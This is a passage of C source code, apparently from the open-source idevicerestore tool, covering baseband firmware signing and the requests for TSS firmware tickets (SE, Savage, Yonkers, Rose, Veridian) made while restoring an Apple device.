plist_dict_get_item(bbtss, "BBTicket"); if (!bbticket || plist_get_node_type(bbticket) != PLIST_DATA) { error("ERROR: Could not find BBTicket in Baseband TSS response\n"); return -1; } plist_t bbfw_dict = plist_dict_get_item(bbtss, "BasebandFirmware"); if (!bbfw_dict || plist_get_node_type(bbfw_dict) != PLIST_DICT) { error("ERROR: Could not find BasebandFirmware Dictionary node in Baseband TSS response\n"); return -1; } unsigned char* buffer = NULL; const unsigned char* blob = NULL; unsigned char* fdata = NULL; uint64_t fsize = 0; uint64_t blob_size = 0; int zerr = 0; int64_t zindex = -1; struct zip_stat zstat; struct zip_file* zfile = NULL; struct zip* za = NULL; struct zip_source* zs = NULL; mbn_file* mbn = NULL; fls_file* fls = NULL; za = zip_open(bbfwtmp, 0, &zerr); if (!za) { error("ERROR: Could not open ZIP archive '%s': %d\n", bbfwtmp, zerr); goto leave; } plist_dict_iter iter = NULL; plist_dict_new_iter(bbfw_dict, &iter); if (!iter) { error("ERROR: Could not create dict iter for BasebandFirmware Dictionary\n"); return -1; } int is_fls = 0; int64_t signed_file_idxs[16]; int signed_file_count = 0; char* key = NULL; plist_t node = NULL; while (1) { plist_dict_next_item(bbfw_dict, iter, &key, &node); if (key == NULL) break; if (node && (strcmp(key + (strlen(key) - 5), "-Blob") == 0) && (plist_get_node_type(node) == PLIST_DATA)) { char *ptr = strchr(key, '-'); *ptr = '\0'; const char* signfn = restore_get_bbfw_fn_for_element(key); if (!signfn) { error("ERROR: can't match element name '%s' to baseband firmware file name.\n", key); goto leave; } char* ext = strrchr(signfn, '.'); if (!strcmp(ext, ".fls")) { is_fls = 1; } zindex = zip_name_locate(za, signfn, 0); if (zindex < 0) { error("ERROR: can't locate '%s' in '%s'\n", signfn, bbfwtmp); goto leave; } zip_stat_init(&zstat); if (zip_stat_index(za, zindex, 0, &zstat) != 0) { error("ERROR: zip_stat_index failed for index %" PRIi64 "\n", zindex); goto leave; } zfile = zip_fopen_index(za, zindex, 0); if (zfile == NULL) { error("ERROR: zip_fopen_index failed for index %" PRIi64 "\n", zindex); goto leave; } buffer = (unsigned char*) malloc(zstat.size + 1); if (buffer == NULL) { error("ERROR: Out of memory\n"); goto leave; } if (zip_fread(zfile, buffer, zstat.size) != zstat.size) { error("ERROR: zip_fread: failed\n"); goto leave; } buffer[zstat.size] = '\0'; zip_fclose(zfile); zfile = NULL; if (is_fls) { fls = fls_parse(buffer, zstat.size); if (!fls) { error("ERROR: could not parse fls file\n"); goto leave; } } else { mbn = mbn_parse(buffer, zstat.size); if (!mbn) { error("ERROR: could not parse mbn file\n"); goto leave; } } free(buffer); buffer = NULL; blob_size = 0; blob = (const unsigned char*)plist_get_data_ptr(node, &blob_size); if (!blob) { error("ERROR: could not get %s-Blob data\n", key); goto leave; } if (is_fls) { if (fls_update_sig_blob(fls, blob, (unsigned int)blob_size) != 0) { error("ERROR: could not sign %s\n", signfn); goto leave; } } else { if (mbn_update_sig_blob(mbn, blob, (unsigned int)blob_size) != 0) { error("ERROR: could not sign %s\n", signfn); goto leave; } } fsize = (is_fls ? fls->size : mbn->size); fdata = (unsigned char*)malloc(fsize); if (fdata == NULL) { error("ERROR: out of memory\n"); goto leave; } if (is_fls) { memcpy(fdata, fls->data, fsize); fls_free(fls); fls = NULL; } else { memcpy(fdata, mbn->data, fsize); mbn_free(mbn); mbn = NULL; } zs = zip_source_buffer(za, fdata, fsize, 1); if (!zs) { error("ERROR: out of memory\n"); free(fdata); goto leave; } if (zip_file_replace(za, zindex, zs, 0) == -1) { error("ERROR: could not update signed '%s' in archive\n", signfn); goto leave; } if (is_fls && !bb_nonce) { if (strcmp(key, "RamPSI") == 0) { signed_file_idxs[signed_file_count++] = zindex; } } else { signed_file_idxs[signed_file_count++] = zindex; } } free(key); } free(iter); // remove everything but required files int64_t i, numf = zip_get_num_entries(za, 0); for (i = 0; i < numf; i++) { int j; int keep = 0; // check for signed file index for (j = 0; j < signed_file_count; j++) { if (i == signed_file_idxs[j]) { keep = 1; break; } } // check for anything but .mbn and .fls if bb_nonce is set if (bb_nonce && !keep) { const char* fn = zip_get_name(za, i, 0); if (fn) { char* ext = strrchr(fn, '.'); if (ext && (!strcmp(ext, ".fls") || !strcmp(ext, ".mbn") || !strcmp(ext, ".elf") || !strcmp(ext, ".bin"))) { keep = 1; } } } if (!keep) { zip_delete(za, i); } } if (bb_nonce) { if (is_fls) { // add BBTicket to file ebl.fls zindex = zip_name_locate(za, "ebl.fls", 0); if (zindex < 0) { error("ERROR: can't locate 'ebl.fls' in '%s'\n", bbfwtmp); goto leave; } zip_stat_init(&zstat); if (zip_stat_index(za, zindex, 0, &zstat) != 0) { error("ERROR: zip_stat_index failed for index %" PRIi64 "\n", zindex); goto leave; } zfile = zip_fopen_index(za, zindex, 0); if (zfile == NULL) { error("ERROR: zip_fopen_index failed for index %" PRIi64 "\n", zindex); goto leave; } buffer = (unsigned char*) malloc(zstat.size + 1); if (buffer == NULL) { error("ERROR: Out of memory\n"); goto leave; } if (zip_fread(zfile, buffer, zstat.size) != zstat.size) { error("ERROR: zip_fread: failed\n"); goto leave; } buffer[zstat.size] = '\0'; zip_fclose(zfile); zfile = NULL; fls = fls_parse(buffer, zstat.size); free(buffer); buffer = NULL; if (!fls) { error("ERROR: could not parse fls file\n"); goto leave; } blob_size = 0; blob = (const unsigned char*)plist_get_data_ptr(bbticket, &blob_size); if (!blob) { error("ERROR: could not get BBTicket data\n"); goto leave; } if (fls_insert_ticket(fls, blob, (unsigned int)blob_size) != 0) { error("ERROR: could not insert BBTicket to ebl.fls\n"); goto leave; } fsize = fls->size; fdata = (unsigned char*)malloc(fsize); if (!fdata) { error("ERROR: out of memory\n"); goto leave; } memcpy(fdata, fls->data, fsize); fls_free(fls); fls = NULL; zs = zip_source_buffer(za, fdata, fsize, 1); if (!zs) { error("ERROR: out of memory\n"); free(fdata); goto leave; } if (zip_file_replace(za, zindex, zs, 0) == -1) { error("ERROR: could not update archive with ticketed ebl.fls\n"); goto leave; } } else { // add BBTicket as bbticket.der blob_size = 0; blob = (const unsigned char*)plist_get_data_ptr(bbticket, &blob_size); if (!blob) { error("ERROR: could not get BBTicket data\n"); goto leave; } zs = zip_source_buffer(za, blob, blob_size, 0); if (!zs) { error("ERROR: out of memory\n"); goto leave; } if (zip_file_add(za, "bbticket.der", zs, ZIP_FL_OVERWRITE) == -1) { error("ERROR: could not add bbticket.der to archive\n"); goto leave; } } } // this will write out the modified zip if (zip_close(za) == -1) { error("ERROR: could not close and write modified archive: %s\n", zip_strerror(za)); res = -1; } else { res = 0; } za = NULL; zs = NULL; leave: if (zfile) { zip_fclose(zfile); } if (zs) { zip_source_free(zs); } if (za) { zip_unchange_all(za); zip_close(za); } mbn_free(mbn); fls_free(fls); free(buffer); return res; } static int restore_send_baseband_data(struct idevicerestore_client_t* client, plist_t message) { int res = -1; uint64_t bb_cert_id = 0; unsigned char* bb_snum = NULL; uint64_t bb_snum_size = 0; unsigned char* bb_nonce = NULL; uint64_t bb_nonce_size = 0; uint64_t bb_chip_id = 0; plist_t response = NULL; char* buffer = NULL; char* bbfwtmp = NULL; plist_t dict = NULL; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return -1; } info("About to send BasebandData...\n"); // NOTE: this function is called 2 or 3 times! // setup request data plist_t arguments = plist_dict_get_item(message, "Arguments"); if (arguments && plist_get_node_type(arguments) == PLIST_DICT) { plist_t bb_chip_id_node = plist_dict_get_item(arguments, "ChipID"); if (bb_chip_id_node && plist_get_node_type(bb_chip_id_node) == PLIST_UINT) { plist_get_uint_val(bb_chip_id_node, &bb_chip_id); } plist_t bb_cert_id_node = plist_dict_get_item(arguments, "CertID"); if (bb_cert_id_node && plist_get_node_type(bb_cert_id_node) == PLIST_UINT) { plist_get_uint_val(bb_cert_id_node, &bb_cert_id); } plist_t bb_snum_node = plist_dict_get_item(arguments, "ChipSerialNo"); if (bb_snum_node && plist_get_node_type(bb_snum_node) == PLIST_DATA) { plist_get_data_val(bb_snum_node, (char**)&bb_snum, &bb_snum_size); } plist_t bb_nonce_node = plist_dict_get_item(arguments, "Nonce"); if (bb_nonce_node && plist_get_node_type(bb_nonce_node) == PLIST_DATA) { plist_get_data_val(bb_nonce_node, (char**)&bb_nonce, &bb_nonce_size); } } if ((bb_nonce == NULL) || (client->restore->bbtss == NULL)) { /* populate parameters */ plist_t parameters = plist_new_dict(); plist_dict_set_item(parameters, "ApECID", plist_new_uint(client->ecid)); if (bb_nonce) { plist_dict_set_item(parameters, "BbNonce", plist_new_data((const char*)bb_nonce, bb_nonce_size)); } plist_dict_set_item(parameters, "BbChipID", plist_new_uint(bb_chip_id)); plist_dict_set_item(parameters, "BbGoldCertId", plist_new_uint(bb_cert_id)); plist_dict_set_item(parameters, "BbSNUM", plist_new_data((const char*)bb_snum, bb_snum_size)); tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true); /* create baseband request */ plist_t request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create Baseband TSS request\n"); plist_free(parameters); return -1; } /* add baseband parameters */ tss_request_add_common_tags(request, parameters, NULL); tss_request_add_baseband_tags(request, parameters, NULL); plist_t node = plist_access_path(client->restore->build_identity, 2, "Info", "FDRSupport"); if (node && plist_get_node_type(node) == PLIST_BOOLEAN) { uint8_t b = 0; plist_get_bool_val(node, &b); if (b) { plist_dict_set_item(request, "ApProductionMode", plist_new_bool(1)); plist_dict_set_item(request, "ApSecurityMode", plist_new_bool(1)); } } if (idevicerestore_debug) debug_plist(request); info("Sending Baseband TSS request...\n"); response = tss_request_send(request, client->tss_url); plist_free(request); plist_free(parameters); if (response == NULL) { error("ERROR: Unable to fetch Baseband TSS\n"); return -1; } info("Received Baseband SHSH blobs\n"); if (idevicerestore_debug) debug_plist(response); } // get baseband firmware file path from build identity plist_t bbfw_path = plist_access_path(client->restore->build_identity, 4, "Manifest", "BasebandFirmware", "Info", "Path"); if (!bbfw_path || plist_get_node_type(bbfw_path) != PLIST_STRING) { error("ERROR: Unable to get BasebandFirmware/Info/Path node\n"); plist_free(response); return -1; } char* bbfwpath = NULL; plist_get_string_val(bbfw_path, &bbfwpath); if (!bbfwpath) { error("ERROR: Unable to get baseband path\n"); plist_free(response); return -1; } // extract baseband firmware to temp file bbfwtmp = get_temp_filename("bbfw_"); if (!bbfwtmp) { size_t l = strlen(client->udid); bbfwtmp = malloc(l + 10); strcpy(bbfwtmp, "bbfw_"); strncpy(bbfwtmp + 5, client->udid, l); strcpy(bbfwtmp + 5 + l, ".tmp"); error("WARNING: Could not generate temporary filename, using %s in current directory\n", bbfwtmp); } if (ipsw_extract_to_file(client->ipsw, bbfwpath, bbfwtmp) != 0) { error("ERROR: Unable to extract baseband firmware from ipsw\n"); goto leave; } if (bb_nonce && !client->restore->bbtss) { // keep the response for later requests client->restore->bbtss = response; response = NULL; } res = restore_sign_bbfw(bbfwtmp, (client->restore->bbtss) ? client->restore->bbtss : response, bb_nonce); if (res != 0) { goto leave; } res = -1; size_t sz = 0; if (read_file(bbfwtmp, (void**)&buffer, &sz) < 0) { error("ERROR: could not read updated bbfw archive\n"); goto leave; } // send file dict = plist_new_dict(); plist_dict_set_item(dict, "BasebandData", plist_new_data(buffer, sz)); free(buffer); buffer = NULL; restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } info("Sending BasebandData now...\n"); if (_restore_service_send(service, dict, 0) != RESTORE_E_SUCCESS) { error("ERROR: Unable to send BasebandData data\n"); goto leave; } _restore_service_free(service); info("Done sending BasebandData\n"); res = 0; leave: plist_free(dict); free(buffer); if (bbfwtmp) { remove(bbfwtmp); free(bbfwtmp); } plist_free(response); return res; } int restore_send_fdr_trust_data(struct idevicerestore_client_t* client, plist_t message) { restored_error_t restore_error; plist_t dict; info("About to send FDR Trust data...\n"); // FIXME: What should we send here? /* Sending an empty dict makes it continue with FDR * and this is what iTunes seems to be doing too */ dict = plist_new_dict(); restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } info("Sending FDR Trust data now...\n"); restore_error = _restore_service_send(service, dict, 0); plist_free(dict); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: During sending FDR Trust data (%d)\n", restore_error); return -1; } info("Done sending FDR Trust Data\n"); return 0; } static int restore_send_image_data(struct idevicerestore_client_t *client, plist_t message, const char *image_list_k, const char *image_type_k, const char *image_data_k) { restored_error_t restore_error; plist_t arguments; plist_t dict; plist_t node; plist_t matched_images = NULL; plist_t data_dict = NULL; plist_t build_id_manifest; plist_dict_iter iter = NULL; char *image_name = NULL; int want_image_list = 0; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return -1; } arguments = plist_dict_get_item(message, "Arguments"); want_image_list = plist_dict_get_bool(arguments, image_list_k); node = plist_dict_get_item(arguments, "ImageName"); if (node) { plist_get_string_val(node, &image_name); } if (!image_type_k) { node = plist_dict_get_item(arguments, "ImageType"); if (node) { image_type_k = plist_get_string_ptr(node, NULL); } } if (!image_type_k) { error("ERROR: missing ImageType"); return -1; } if (!want_image_list && !image_name) { info("About to send %s...\n", image_data_k); } if (want_image_list) { matched_images = plist_new_array(); } else { data_dict = plist_new_dict(); } build_id_manifest = plist_dict_get_item(client->restore->build_identity, "Manifest"); if (build_id_manifest) { plist_dict_new_iter(build_id_manifest, &iter); } if (iter) { char *component; plist_t manifest_entry; do { component = NULL; manifest_entry = NULL; plist_dict_next_item(build_id_manifest, iter, &component, &manifest_entry); if (component && manifest_entry && plist_get_node_type(manifest_entry) == PLIST_DICT) { uint8_t is_image_type = 0; plist_t is_image_type_node = plist_access_path(manifest_entry, 2, "Info", image_type_k); if (is_image_type_node && plist_get_node_type(is_image_type_node) == PLIST_BOOLEAN) { plist_get_bool_val(is_image_type_node, &is_image_type); } if (is_image_type) { if (want_image_list) { info("Found %s component %s\n", image_type_k, component); plist_array_append_item(matched_images, plist_new_string(component)); } else if (!image_name || !strcmp(image_name, component)) { char *path = NULL; unsigned char* data = NULL; unsigned int size = 0; unsigned char* component_data = NULL; unsigned int component_size = 0; int ret = -1; if (!image_name) { info("Found %s component '%s'\n", image_type_k, component); } build_identity_get_component_path(client->restore->build_identity, component, &path); if (path) { ret = extract_component(client->ipsw, path, &component_data, &component_size); } free(path); path = NULL; if (ret < 0) { error("ERROR: Unable to extract component: %s\n", component); } ret = personalize_component(component, component_data, component_size, client->tss, &data, &size); free(component_data); component_data = NULL; if (ret < 0) { error("ERROR: Unable to get personalized component: %s\n", component); } plist_dict_set_item(data_dict, component, plist_new_data((const char*)data, size)); free(data); } } free(component); } } while (manifest_entry); free(iter); } restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } dict = plist_new_dict(); if (want_image_list) { plist_dict_set_item(dict, image_list_k, matched_images); info("Sending %s image list\n", image_type_k); } else { if (image_name) { node = plist_dict_get_item(data_dict, image_name); if (node) { plist_dict_set_item(dict, image_data_k, plist_copy(node)); } plist_dict_set_item(dict, "ImageName", plist_new_string(image_name)); info("Sending %s for %s...\n", image_type_k, image_name); } else { plist_dict_set_item(dict, image_data_k, data_dict); info("Sending %s now...\n", image_type_k); } } restore_error = _restore_service_send(service, dict, 0); plist_free(dict); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { if (want_image_list) { error("ERROR: Failed to send %s image list (%d)\n", image_type_k, restore_error); } else { if (image_name) { error("ERROR: Failed to send %s for %s (%d)\n", image_type_k, image_name, restore_error); free(image_name); } else { error("ERROR: Failed to send %s (%d)\n", image_type_k, restore_error); } } return -1; } if (!want_image_list) { if (image_name) { free(image_name); } else { info("Done sending %s\n", image_type_k); } } return 0; } static plist_t restore_get_se_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments) { const char *comp_name = NULL; char *comp_path = NULL; unsigned char* component_data = NULL; unsigned int component_size = 0; plist_t parameters = NULL; plist_t request = NULL; plist_t response = NULL; plist_t p_dgr = NULL; int ret; uint64_t chip_id = 0; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return NULL; } plist_t node = plist_dict_get_item(p_info, "SE,ChipID"); if (node && plist_get_node_type(node) == PLIST_UINT) { plist_get_uint_val(node, &chip_id); } if (chip_id == 0x20211) { comp_name = "SE,Firmware"; } else if (chip_id == 0x73 || chip_id == 0x64 || chip_id == 0xC8 || chip_id == 0xD2 || chip_id == 0x2C || chip_id == 0x36) { comp_name = "SE,UpdatePayload"; } else { info("WARNING: Unknown SE,ChipID 0x%" PRIx64 " detected. Restore might fail.\n", (uint64_t)chip_id); if (build_identity_has_component(client->restore->build_identity, "SE,UpdatePayload")) comp_name = "SE,UpdatePayload"; else if (build_identity_has_component(client->restore->build_identity, "SE,Firmware")) comp_name = "SE,Firmware"; else { error("ERROR: Neither 'SE,Firmware' nor 'SE,UpdatePayload' found in build identity.\n"); return NULL; } debug("DEBUG: %s: using %s\n", __func__, comp_name); } p_dgr = plist_dict_get_item(arguments, "DeviceGeneratedRequest"); if (!p_dgr) { info("NOTE: %s: No DeviceGeneratedRequest in firmware updater data request. Continuing anyway.\n", __func__); } else if (!PLIST_IS_DICT(p_dgr)) { error("ERROR: %s: DeviceGeneratedRequest has invalid type!\n", __func__); return NULL; } if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) { error("ERROR: Unable to get path for '%s' component\n", comp_name); return NULL; } ret = extract_component(client->ipsw, comp_path, &component_data, &component_size); free(comp_path); comp_path = NULL; if (ret < 0) { error("ERROR: Unable to extract '%s' component\n", comp_name); return NULL; } /* create SE request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create SE TSS request\n"); free(component_data); return NULL; } parameters = plist_new_dict(); /* add manifest for current build_identity to parameters */ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true); /* add SE,* tags from info dictionary to parameters */ plist_dict_merge(¶meters, p_info); /* add required tags for SE TSS request */ tss_request_add_se_tags(request, parameters, p_dgr); plist_free(parameters); info("Sending SE TSS request...\n"); response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to fetch SE ticket\n"); free(component_data); return NULL; } if (plist_dict_get_item(response, "SE2,Ticket")) { info("Received SE2,Ticket\n"); } else if (plist_dict_get_item(response, "SE,Ticket")) { info("Received SE,Ticket\n"); } else { error("ERROR: No 'SE ticket' in TSS response, this might not work\n"); } plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size)); free(component_data); component_data = NULL; component_size = 0; return response; } static plist_t restore_get_savage_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments) { char *comp_name = NULL; char *comp_path = NULL; unsigned char* component_data = NULL; unsigned int component_size = 0; unsigned char* component_data_tmp = NULL; plist_t parameters = NULL; plist_t request = NULL; plist_t response = NULL; int ret; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return NULL; } plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest"); if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) { error("ERROR: %s: DeviceGeneratedRequest has invalid type!\n", __func__); return NULL; } /* create Savage request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create Savage TSS request\n"); return NULL; } parameters = plist_new_dict(); /* add manifest for current build_identity to parameters */ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true); /* add Savage,* tags from info dictionary to parameters */ plist_dict_merge(¶meters, p_info); /* add required tags for Savage TSS request */ tss_request_add_savage_tags(request, parameters, device_generated_request, &comp_name); plist_free(parameters); if (!comp_name) { error("ERROR: Could not determine Savage firmware component\n"); plist_free(request); return NULL; } debug("DEBUG: %s: using %s\n", __func__, comp_name); info("Sending Savage TSS request...\n"); response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to fetch Savage ticket\n"); free(comp_name); return NULL; } if (plist_dict_get_item(response, "Savage,Ticket")) { info("Received Savage ticket\n"); } else { error("ERROR: No 'Savage,Ticket' in TSS response, this might not work\n"); } /* now get actual component data */ if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) { error("ERROR: Unable to get path for '%s' component\n", comp_name); free(comp_name); return NULL; } ret = extract_component(client->ipsw, comp_path, &component_data, &component_size); free(comp_path); comp_path = NULL; if (ret < 0) { error("ERROR: Unable to extract '%s' component\n", comp_name); free(comp_name); return NULL; } free(comp_name); comp_name = NULL; component_data_tmp = realloc(component_data, (size_t)component_size+16); if (!component_data_tmp) { free(component_data); return NULL; } component_data = component_data_tmp; memmove(component_data + 16, component_data, (size_t)component_size); memset(component_data, '\0', 16); *(uint32_t*)(component_data + 4) = htole32((uint32_t)component_size); component_size += 16; plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size)); free(component_data); component_data = NULL; component_size = 0; return response; } static plist_t restore_get_yonkers_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments) { char *comp_name = NULL; char *comp_path = NULL; unsigned char* component_data = NULL; unsigned int component_size = 0; plist_t parameters = NULL; plist_t request = NULL; plist_t response = NULL; int ret; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return NULL; } plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest"); if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) { error("ERROR: %s: DeviceGeneratedRequest has invalid type!\n", __func__); return NULL; } /* create Yonkers request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create Yonkers TSS request\n"); free(component_data); free(comp_name); return NULL; } parameters = plist_new_dict(); /* add manifest for current build_identity to parameters */ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true); /* add Yonkers,* tags from info dictionary to parameters */ plist_dict_merge(¶meters, p_info); /* add required tags for Yonkers TSS request */ tss_request_add_yonkers_tags(request, parameters, device_generated_request, &comp_name); plist_free(parameters); if (!comp_name) { error("ERROR: Could not determine Yonkers firmware component\n"); plist_free(request); return NULL; } debug("DEBUG: %s: using %s\n", __func__, comp_name); info("Sending Yonkers TSS request...\n"); response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to fetch Yonkers ticket\n"); free(component_data); return NULL; } if (plist_dict_get_item(response, "Yonkers,Ticket")) { info("Received Yonkers ticket\n"); } else { error("ERROR: No 'Yonkers,Ticket' in TSS response, this might not work\n"); } if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) { error("ERROR: Unable to get path for '%s' component\n", comp_name); free(comp_name); return NULL; } /* now get actual component data */ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size); free(comp_path); comp_path = NULL; if (ret < 0) { error("ERROR: Unable to extract '%s' component\n", comp_name); free(comp_name); return NULL; } free(comp_name); comp_name = NULL; plist_t firmware_data = plist_new_dict(); plist_dict_set_item(firmware_data, "YonkersFirmware", plist_new_data((char*)component_data, component_size)); plist_dict_set_item(response, "FirmwareData", firmware_data); free(component_data); component_data = NULL; component_size = 0; return response; } static plist_t restore_get_rose_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments) { char *comp_name = NULL; char *comp_path = NULL; unsigned char* component_data = NULL; unsigned int component_size = 0; ftab_t ftab = NULL; ftab_t rftab = NULL; uint32_t ftag = 0; plist_t parameters = NULL; plist_t request = NULL; plist_t response = NULL; int ret; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return NULL; } /* create Rose request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create Rose TSS request\n"); free(component_data); return NULL; } parameters = plist_new_dict(); /* add manifest for current build_identity to parameters */ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true); plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1)); if (client->image4supported) { plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1)); plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1)); } else { plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0)); } plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest"); if (device_generated_request) { /* use DeviceGeneratedRequest if present */ plist_dict_merge(&request, device_generated_request); } else { /* add Rap,* tags from info dictionary to parameters */ plist_dict_merge(¶meters, p_info); } /* add required tags for Rose TSS request */ tss_request_add_rose_tags(request, parameters, NULL); plist_free(parameters); info("Sending Rose TSS request...\n"); response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to fetch Rose ticket\n"); free(component_data); return NULL; } if (plist_dict_get_item(response, "Rap,Ticket")) { info("Received Rose ticket\n"); } else { error("ERROR: No 'Rap,Ticket' in TSS response, this might not work\n"); } /* skip FirmwareData for newer versions */ if (client->build_major >= 20) { debug("DEBUG: Not adding FirmwareData.\n"); return response; } comp_name = "Rap,RTKitOS"; if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) { error("ERROR: Unable to get path for '%s' component\n", comp_name); return NULL; } ret = extract_component(client->ipsw, comp_path, &component_data, &component_size); free(comp_path); comp_path = NULL; if (ret < 0) { error("ERROR: Unable to extract '%s' component\n", comp_name); return NULL; } if (ftab_parse(component_data, component_size, &ftab, &ftag) != 0) { free(component_data); error("ERROR: Failed to parse '%s' component data.\n", comp_name); return NULL; } free(component_data); component_data = NULL; component_size = 0; if (ftag != 'rkos') { error("WARNING: Unexpected tag 0x%08x, expected 0x%08x; continuing anyway.\n", ftag, 'rkos'); } comp_name = "Rap,RestoreRTKitOS"; if (build_identity_has_component(client->restore->build_identity, comp_name)) { if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) { ftab_free(ftab); error("ERROR: Unable to get path for '%s' component\n", comp_name); return NULL; } ret = extract_component(client->ipsw, comp_path, &component_data, &component_size); free(comp_path); comp_path = NULL; if (ret < 0) { ftab_free(ftab); error("ERROR: Unable to extract '%s' component\n", comp_name); return NULL; } ftag = 0; if (ftab_parse(component_data, component_size, &rftab, &ftag) != 0) { free(component_data); ftab_free(ftab); error("ERROR: Failed to parse '%s' component data.\n", comp_name); return NULL; } free(component_data); component_data = NULL; component_size = 0; if (ftag != 'rkos') { error("WARNING: Unexpected tag 0x%08x, expected 0x%08x; continuing anyway.\n", ftag, 'rkos'); } if (ftab_get_entry_ptr(rftab, 'rrko', &component_data, &component_size) == 0) { ftab_add_entry(ftab, 'rrko', component_data, component_size); } else { error("ERROR: Could not find 'rrko' entry in ftab. This will probably break things.\n"); } ftab_free(rftab); component_data = NULL; component_size = 0; } else { info("NOTE: Build identity does not have a '%s' component.\n", comp_name); } ftab_write(ftab, &component_data, &component_size); ftab_free(ftab); plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size)); free(component_data); component_data = NULL; component_size = 0; return response; } static plist_t restore_get_veridian_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments) { char *comp_name = "BMU,FirmwareMap"; char *comp_path = NULL; unsigned char* component_data = NULL; unsigned int component_size = 0; plist_t parameters = NULL; plist_t request = NULL; plist_t response = NULL; int ret; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return NULL; } plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest"); if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) { error("ERROR: %s: DeviceGeneratedRequest has invalid type!\n", __func__); return NULL; } /* create Veridian request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create Veridian TSS request\n"); free(component_data); return NULL; } parameters = plist_new_dict(); /* add manifest for current build_identity to parameters */ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true); /* add BMU,* tags from info dictionary to parameters */ plist_dict_merge(¶meters, p_info); /* add required tags for Veridian TSS request */ tss_request_add_veridian_tags(request, parameters, device_generated_request); plist_free(parameters); info("Sending Veridian TSS request...\n"); response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to fetch Veridian ticket\n"); free(component_data); return NULL; } if (plist_dict_get_item(response, "BMU,Ticket")) { info("Received Veridian ticket\n"); } else { error("ERROR: No 'BMU,Ticket' in TSS response, this might not work\n"); } if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) { error("ERROR: Unable to get path for '%s' component\n", comp_name); return NULL; } /* now get actual component data */ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size); free(comp_path); comp_path = NULL; if (ret < 0) { error("ERROR: Unable to extract '%s' component\n", comp_name); return NULL; } plist_t fw_map = NULL; if (plist_is_binary((const char*)component_data, component_size)) { plist_from_bin((const char*)component_data, component_size, &fw_map); } else { plist_from_xml((const char*)component_data, component_size, &fw_map); } free(component_data); component_data = NULL; component_size = 0; if (!fw_map) { error("ERROR: Unable to parse '%s' component data as plist\n", comp_name); return NULL; } plist_t fw_map_digest = plist_access_path(client->restore->build_identity, 3, "Manifest", comp_name, "Digest"); if (!fw_map_digest) { plist_free(fw_map); error("ERROR: Unable to get Digest for '%s' component\n", comp_name); return NULL; } plist_dict_set_item(fw_map, "fw_map_digest", plist_copy(fw_map_digest)); char *bin_plist = NULL; uint32_t bin_size = 0; plist_to_bin(fw_map, &bin_plist, &bin_size); plist_free(fw_map); plist_dict_set_item(response, "FirmwareData", plist_new_data(bin_plist, bin_size)); free(bin_plist); return response; } static plist_t 